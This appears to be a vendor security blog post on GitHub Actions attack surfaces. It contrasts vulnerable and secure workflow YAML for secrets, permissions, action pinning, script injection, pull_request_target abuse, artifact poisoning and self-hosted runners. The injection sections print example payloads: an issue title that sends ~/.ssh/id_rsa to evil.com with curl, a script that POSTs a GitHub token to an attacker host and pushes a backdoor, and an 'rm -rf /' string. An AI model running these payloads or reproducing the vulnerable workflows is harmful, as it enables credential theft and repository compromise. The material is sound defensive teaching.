Why do attackers love GitHub Actions, and why should you care? The answer lies in a dangerous combination of widespread adoption and insufficient security awareness.
During my research, I analyzed numerous security incidents and surveys, leading to two critical findings:
First, developers and security teams significantly underestimate the risks in GitHub Actions. Many treat CI/CD security as an afterthought, focusing primarily on application code while leaving their automation infrastructure vulnerable.
Second, GitHub Actions has become incredibly popular, making it an attractive target for attackers.
The numbers don’t lie

According to JetBrains’ “Developer Ecosystem Report 2024“, which surveyed over 23,000 developers worldwide, GitHub Actions ranks as the second most-used CI/CD tool with a 33% adoption rate.

Even more striking, the Cloud Native Computing Foundation (CNCF) 2024 survey found that GitHub Actions is now the most widely used CI/CD platform at 51% adoption.
This massive adoption creates a perfect storm: millions of repositories running automated workflows, often with elevated privileges, while security practices lag behind.
GitHub Actions – a short crash course
For those less familiar with GitHub, let’s introduce the main concepts and terminology to establish common ground for our discussion.
What is GitHub Actions?
GitHub Actions is a CI/CD platform built directly into GitHub. It’s triggered by events like pull requests, commits, schedules, or manual triggers. The core concept revolves around Workflows – automation scripts written in simple YAML files that define your CI/CD processes.
Like any CI/CD platform, GitHub Actions automates your builds, tests, and deployments.
Workflows vs Actions: understanding the difference
Think of it like coding: Actions are individual, reusable functions that perform specific tasks (like checking out code or deploying to AWS). Workflows are complete programs that orchestrate multiple actions and jobs.
You can write your own actions for your organization to reuse, or grab pre-built ones from GitHub’s marketplace (similar to importing packages from PyPI in Python). With over 20,000 actions available, there’s likely one for your specific need.
As the diagram below shows, workflows contain events (triggers) and jobs, with each job running on separate runners.

Workflow components
A workflow consists of:
Name → The display name for your workflow (appears in the Actions tab)
Trigger → What starts the workflow (push, pull_request, schedule, workflow_dispatch for manual triggers, etc.)
Jobs → The actual work units that can run in parallel or sequence

Job anatomy
Each job includes:
Name → Identifier for the specific job
runs-on → Defines the runner environment (ubuntu-latest, windows-latest, macos-latest for GitHub-hosted, or self-hosted runners on your infrastructure)
Steps → Individual tasks within the job, using either:
- uses → References pre-built actions from the marketplace or your repos
- run → Executes shell commands or scripts directly

Why use GitHub Actions?
Native GitHub Integration → No external setup needed, works seamlessly with your repos, issues, and PRs
Rich Action Ecosystem → 20,000+ pre-built actions covering everything from deployments to notifications
Simple YAML Configuration → Human-readable syntax that’s easy to version control and review
Event-Driven Automation → Responds to any GitHub event, enabling sophisticated automation workflows
Common security risks
Now for the critical part – let’s explore common security risks and pitfalls in GitHub Actions that attackers can use and exploit in the wild.
Secrets management failures
The scale is staggering – millions of secrets are leaked on GitHub annually. These secrets often end up hardcoded in workflows, exposed in logs, or improperly handled during CI/CD processes.
Why this matters: GitHub Actions workflows frequently need secrets to communicate with GitHub’s API (via the built-in GITHUB_TOKEN), deploy to cloud services, access databases, and integrate with third-party tools. When these secrets leak, attackers gain direct access to your infrastructure.
Secrets leak through multiple vectors: hardcoded credentials, debug logs, error messages, and improperly scoped environment variables – creating numerous opportunities for attackers.
❌ Vulnerable example:
- name: Deploy to production
run: |
docker login -u admin -p hardcoded-password-123✅ Secure example:
- name: Deploy to production
run: |
docker login -u admin -p "$DOCKER_PASSWORD"
env:
DOCKER_PASSWORD: ${{ secrets.DOCKER_PASSWORD }}Insufficient permission management
This is actually a distinct but related issue – while secrets management protects what credentials you use, permission management controls what actions those credentials can perform.
The GITHUB_TOKEN problem: Every workflow gets an automatic authentication token for repository access. The dangerous part? Many repositories (especially older ones) default to overly broad permissions, following the “convenience over security” principle.
Research shows that the vast majority of workflows run with unnecessary permissions – a violation of the principle of least privilege that creates significant attack surface.
What can an overprivileged GITHUB_TOKEN do?
- Modify source code and commit malicious changes
- Create releases and publish malware
- Read private repository contents
- Delete branches and tags
- Modify issues, pull requests, and discussions
- Access repository secrets (with secrets: read permission)
🚨 Critical insight: Repositories created before February 2023 likely still have overprivileged GITHUB_TOKEN defaults with read/write permissions, while newer repositories default to read-only. Check your legacy repositories – they may be running with “write-all” permissions you didn’t know about.
❌ Vulnerable example:
permissions: write-all # Dangerous - gives full access✅ Secure example:
permissions:
contents: read # Only read code
issues: write # Only needed permissionPro tip: Always start with permissions: {} (no permissions) and add only what you actually need.
Dependency pinning failures
The shocking reality: The vast majority of workflows use mutable references like tags or branches, which attackers can silently redirect to malicious code. When you use @v4 or @main, you’re essentially saying “run whatever code the maintainer points this tag to” – a dangerous level of trust.
Why this matters: Tags and branches are mutable references that can be moved. An attacker who compromises an action’s repository can simply move the v4 tag to point to malicious code, instantly affecting every workflow using that tag.
The pinning dilemma: While commit hash pinning provides much better security by using immutable references, it’s not bulletproof. You could still pin to an already compromised commit, or the action itself might depend on other vulnerable actions, so you need to have the ability to verify it’s security before pinning.
❌ Vulnerable example:
- uses: actions/checkout@v4 # Tag can be moved to malicious code✅ Secure example:
- uses: actions/checkout@692973e3d937129bcbf40652eb9f2f61becf3332 # v4.1.7 pinned to commit hashSupply chain attacks via compromised Actions
This is arguably the most dangerous and underestimated threat. Third-party actions run with the same permissions as your workflow, creating a massive attack surface that most organizations completely overlook.
Real-world impact: The tj-actions/changed-files compromise affected over 23,000 repositories in a single attack. One compromised action = thousands of breached CI/CD pipelines across major organizations. The attack remained undetected for days, with compromised workflows silently leaking secrets in plain sight.
The trust chain problem: Even “trusted” marketplace authors can be compromised. When you use an action, you’re not just trusting that author – you’re trusting every dependency they use, and every dependency of those dependencies.
Consider this seemingly innocent example:
- uses: community-dev/deploy-helper@v2 # Looks legitimate but could be compromisedWhat you don’t see:
- What other actions does deploy-helper internally call?
- Are those dependencies pinned or using mutable references?
- Could a compromise in a sub-dependency affect your workflow?
- Are you inadvertently giving a third party access to your secrets and repositories?
The cascade effect: Major companies using popular actions create high-value targets. Compromise one widely-used action, and you potentially gain access to thousands of enterprise environments – exactly what happened with tj-actions.
Key takeaway: Every third-party action is a potential entry point into your infrastructure. Treat them as seriously as you would any other external dependency in your production systems.
Script/code injection
The classic vulnerability that never gets old. Script injection happens when workflows directly execute untrusted user input from issues, PR descriptions, comments, or branch names. It’s deceptively simple yet devastatingly effective.
How the attack works: An attacker creates an issue titled '; rm -rf / #' or a PR with a malicious description. When your workflow processes this input, it executes the embedded commands with your runner’s privileges.
The danger: Any GitHub event that contains user-controlled text becomes a potential injection point. Issue titles, commit messages, branch names, PR descriptions – all are attacker-controlled and potentially malicious.
❌ Vulnerable example:
- run: echo "Hello ${{ github.event.issue.title }}"
# Attacker creates issue: '; curl <http://evil.com/steal?data=$>(cat ~/.ssh/id_rsa) #'✅ Secure example:
- env:
TITLE: ${{ github.event.issue.title }}
run: echo "Hello $TITLE"
# Environment variables treat content as literal strings, not executable codeKey principle: Never directly interpolate user input into shell commands. Always use environment variables as a safety barrier.
Workflow injection via pull requests
This is where things get truly dangerous. Workflow injection exploits the pull_request_target trigger to execute malicious code with your repository’s full privileges and secrets.
The deadly combination: pull_request_target runs with your base repository’s permissions (including access to secrets), but can execute code from the external PR. This creates a perfect storm for privilege escalation.
Four ingredients for disaster:
- pull_request_target trigger – Runs with base repo privileges
- Secrets/tokens available Makes the attack worthwhile
- Checkout of PR code – Pulls in attacker-controlled files
- Execution of PR scripts – Runs the malicious payload
Real attack scenario:
on: pull_request_target # 1. Base repo privileges
...
env:
GH_ACCESS_TOKEN: ${{ secrets.GITHUB_TOKEN }} # 2. Valuable secrets
steps:
- name: Checkout PR code
uses: actions/checkout@v3
with:
ref: ${{ github.event.pull_request.head.sha }} # 3. Attacker's code
- name: Run tests from PR
run: bash ./scripts/test.sh # 4. Execute attacker's scriptThe attack execution:
- Attacker forks your repository
- Modifies ./scripts/test.sh with malicious payload:
# Exfiltrate the GitHub token
curl -X POST -d "token=$GH_ACCESS_TOKEN" <http://evil.attacker.com/steal>
# Or worse - push malicious code to your repo
git config user.email "attacker@evil.com"
git commit -am "backdoor" && git push- Creates a pull request
- Your workflow executes their malicious script with your repository’s full permissions
The impact: Complete repository compromise, secret exfiltration, or supply chain poisoning – all through a simple pull request.
Artifact poisoning
A sophisticated attack vector that exploits the trust between workflows. Artifact poisoning occurs when malicious artifacts created by untrusted pull request workflows get executed by privileged workflows that have access to secrets and production systems.
How the attack unfolds:
- Attacker submits a pull request that creates malicious artifacts
- A
workflow_runtrigger (with repository secrets) downloads these artifacts - The privileged workflow executes the malicious artifact content
- Attacker gains access to secrets and production infrastructure
The danger: workflow_run workflows execute with full repository privileges but process artifacts from potentially untrusted sources, creating a perfect privilege escalation opportunity. Vulnerable example:
❌ Vulnerable example:
# This workflow runs with secrets when PR workflows complete
on:
workflow_run:
workflows: ["PR Build"]
types: [completed]
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Download artifact
uses: actions/download-artifact@v3
with:
name: build-output
- name: Execute deployment script
run: |
chmod +x ./deploy.sh # Malicious script from PR artifact
./deploy.sh # Now running with secrets!
env:
DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}✅ Secure approach:
- Treat all artifacts as untrusted data, never as executable code
- Validate artifact contents with checksums
- Run artifact processing in sandboxed environments
- Use explicit allowlists for acceptable artifact content
Self-hosted runner compromise
The infrastructure attack that keeps security teams awake at night. Self-hosted runners often become persistent footholds in your infrastructure due to inadequate isolation and overprivileged network access.
Why self-hosted runners are attractive targets:
- Persistent access: Unlike GitHub-hosted runners that are ephemeral, compromised self-hosted runners can maintain access between workflow runs
- Network privilege: Often deployed with excessive internal network access
- Infrastructure proximity: Frequently co-located with production systems
Real-world impact: Supply chain attacks targeting self-hosted runners have successfully compromised major projects by gaining persistent access to build infrastructure, allowing attackers to inject malicious code into releases.
The attack progression:
- Attacker compromises runner through vulnerable workflow
- Malicious code persists on runner filesystem
- Future workflows execute on compromised infrastructure
- Attacker gains persistent access to secrets and internal systems
Essential defenses:
- Ephemeral runners: Destroy and recreate runners after each job
- Network segmentation: Limit runner network access to only required services
- Principle of least privilege: Minimize permissions and access scope
- Regular rotation: Frequently rebuild runner environments from clean images
- Monitoring: Implement comprehensive logging and anomaly detection
Key principle: Treat self-hosted runners as potentially compromised infrastructure that needs constant vigilance and containment.
The bottom line
GitHub Actions represents a perfect storm for attackers: ubiquitous adoption, privileged access to repositories and infrastructure, and a surprisingly large attack surface that most organizations barely monitor.
We’ve seen how seemingly innocent workflows can become entry points for:
- Secret exfiltration through poor secrets management
- Repository takeover via overprivileged tokens
- Supply chain poisoning through compromised dependencies
- Infrastructure compromise via injection attacks and runner exploitation
The harsh reality: Every workflow file is essentially a script running with elevated privileges in your CI/CD pipeline. Every third-party action is a potential backdoor. Every pull request could escalate to full repository access.
Most organizations secure their production systems meticulously, then hand the keys to their kingdom to YAML files they barely audit, using actions from strangers on the internet, triggered by events they don’t fully control.
The irony is stark: The same automation that makes development teams more productive makes attackers more successful. We explored something deceptively simple today – text files that run code. But these aren’t just automation scripts, they’re privileged programs with access to your secrets, your code, and often your entire infrastructure.
That’s exactly why attackers love your GitHub Actions too.
About the Orca Cloud Security Platform
Orca offers a unified and comprehensive cloud security platform that identifies, prioritizes, and remediates security risks and compliance issues across AWS, Azure, Google Cloud, Oracle Cloud, Alibaba Cloud, and Kubernetes. The Orca Cloud Security Platform leverages Orca’s patented SideScanning™ technology to provide complete coverage and comprehensive risk detection.
Interested in discovering the benefits of the Orca Cloud Security Platform and its Application Security (AppSec) capabilities? Schedule a personalized 1:1 demo.
